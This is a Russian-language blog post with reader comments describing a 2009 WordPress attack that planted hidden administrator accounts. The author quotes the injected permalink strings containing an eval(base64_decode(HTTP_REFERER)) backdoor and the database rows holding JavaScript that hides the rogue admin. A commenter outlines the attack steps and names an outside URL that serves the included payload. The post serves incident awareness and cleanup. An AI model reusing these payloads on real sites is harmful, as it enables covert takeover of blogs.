Ахтунг! Атаки на WordPress блоги
Столкнулся позавчера с одним «глюком» при настройке клиентского блога — криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
Phpmyadmin выдает при этом примерно такое:
Lost connection to MySQL server during query
и не отвечает сервер минут 50 после этого…
Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:
%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):
(574, 143, 'rich_editing', 'true'), (575, 143, 'comment_shortcuts', 'false'), (576, 143, 'admin_color', 'fresh'), (577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n var t=document.getElementById("user_superuser");\n while(t.nodeName!="TR"){\n t=t.parentNode;\n };\n t.parentNode.removeChild(t);\n var tags = document.getElementsByTagName("H3");\n var s = " shown below";\n for (var i = 0; i < tags.length; i++) {\n var t=tags[i].innerHTML;\n var h=tags[i];\n if(t.indexOf(s)>0){\n s =(parseInt(t)-1)+s;\n h.removeChild(h.firstChild);\n t = document.createTextNode(s);\n h.appendChild(t);\n }\n }\n var arr=document.getElementsByTagName("ul");\n for(var i in arr) if(arr[i].className=="subsubsub"){\n var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n if(n[1]>0){\n var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n arr[i].innerHTML=txt;\n }\n }\n }catch(e){};\n };\n addLoadEvent(setUserName);\n</script></div>'), (573, 143, 'nickname', 'NicolasMager80'), (570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'), (571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'), (572, 1, 'plugins_last_view', 'all'), (579, 143, 'wp_user_level', '10'); вот этот поддельный администратор "хакер" (143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');
Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко
так что обновляйтесь регулярно :-)
Связанные записи
28 комментариев на запись “Ахтунг! Атаки на WordPress блоги”
Почти тоже самое произошло с моими блогами, но проблему заметил по измененным постоянным ссылкам. Помимо всего обнаружил небольшое изменение кода в паре пхп скриптов которое вычистил сразу (wp-config.php и в скрипте суперкеширования).
Суперхакеров убил в базе, что и вам рекомендую, лечится просто, заходим в таблицу wp_usermeta и убиваем все строки с ID юзеров у которых FIRST_NAME не выглядит нормально. В моем случае такой же жабаскрипт торчал в этом поле…
Обновляемся чаще…
> так что обновляйтесь регулярно :-)
Если вражина уже пролезла и заделалась тайным админом, то обновление — что мертвому припарки.
Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.
В 2.8.3 уже приняты меры, чтобы юзеры не лазили куда не положено.
Дело в том что, есть версии что это не бага, а именно атака какого-то червяка, т.е. блоги взламываются автоматически. :(
Это не бага, это — ДЫРКА.
Процедура тривиальная: регистрация — логин — смена ЧПУ — повышение привилегий и скрытие юзера. Так что в принципе это может делать и простенький скрипт. Червяки, трояны, ботнеты и прочий hi-tec тут без надобности.
А если регистрация закрыта? Это не спасет?
Закрыта вообще или только сейчас? Если вообще — то от этой напасти спасет. Но есть, наверно, и другие. Так что расслабляться рано :)
Регистрация закрыта изначально, но все равно уже пошел обновляться :)
Жуть жуткая…
надо закрывать папки
админскую по ip
а в аплоад запретить выполнение php cgi и тд и тп
и забудете про такие взломы
Спасибо за новость. Она мне в субботу вечером в дороге застала. Друг в твитер скинул «По всему миру идет массовой взлом WP блогов» И ссылку на какой то буржуйский сайт скинул. Я по английски читать плохо умею, но слова тегах h1 «Аларм!!!» «Ахтунг» и т.д. произвели должное впечатление. Я чуть не поседел пока до дома добрался. Потом только понял что не все так страшно как рисовало мне мое воображение :) Вообще думаю отказаться от WordPress кроме как для блогов. Т.е. делать многопользовательские сайты на нем все таки не стоит. А то так до пенсии можно не дожить из за того что друзья паникеры :)
Какие версии WP подвержены уязвимости?
2.7.x попадает под нее?
С 2.2.3 по 2.8.2 включительно.
Не спасет! У меня регистрации на блоге нет вообще, однако же сегодня только избавилась от скрытого админа, который мне бложек поломал, гадина такая(((
По всей видимости уязвимы вп до 2.8.3. включительно. Регистрируется пользователь даже пр закрытой регистрации, далее путем отправки запроса на xmlrpc.php специального запроса через дырку в пермалинках инклюдится вот этот файлhttp://links.webwordpress.cn/data/shortpart2.txt , потом правятся файлы (не у всех).писал у себя
Как проверить на заразу и лечиться я
А можно подробней? Регистрации нет сейчас или никогда не было? Есть ли другие регистрированные пользователи, кроме админа?
Как?
Так-так. Надо все-таки обновляться, раз такая напасть пришла, очень не хочется правда. :)
В логах сервера только пост запрос на wp-login.php.
Рекомендовали же до 2.8.3 обновиться… а вообще надо искать альтернативные движки… WP уже надоедает частотой версий и их корявостью…
Хотя смотрел аналоги (из «лучших») — поставить сходу ни один не получилось… кучу всего надо докручивать…
Я сегодня прочитал на каком-то блоге в версии 2.8.1 была возможность создать какогото хидден-админа. И у чела изза этого много проблем возникло. Вот так и обновляйся :(
Лучше старую но не такую ущербную версию иметь
Тоже самое было, восстановил базу из бекапа
Заметил из админки, к ссылкам после слеша стала добавляться всякая хрень. я так понимаю это был редирект на дор?
Подскажите, какая версия на Ваш взгляд самая безопасная?
Наверное самая последняя.
Belavir — следим за изменениями в php файлах движка !
Это всё конечно интересно только ни чё не понятно. Может мои планы оправдаются по поводу какиров.
если бы не прожорливость каждой новой версии, то обновлялся бы сразу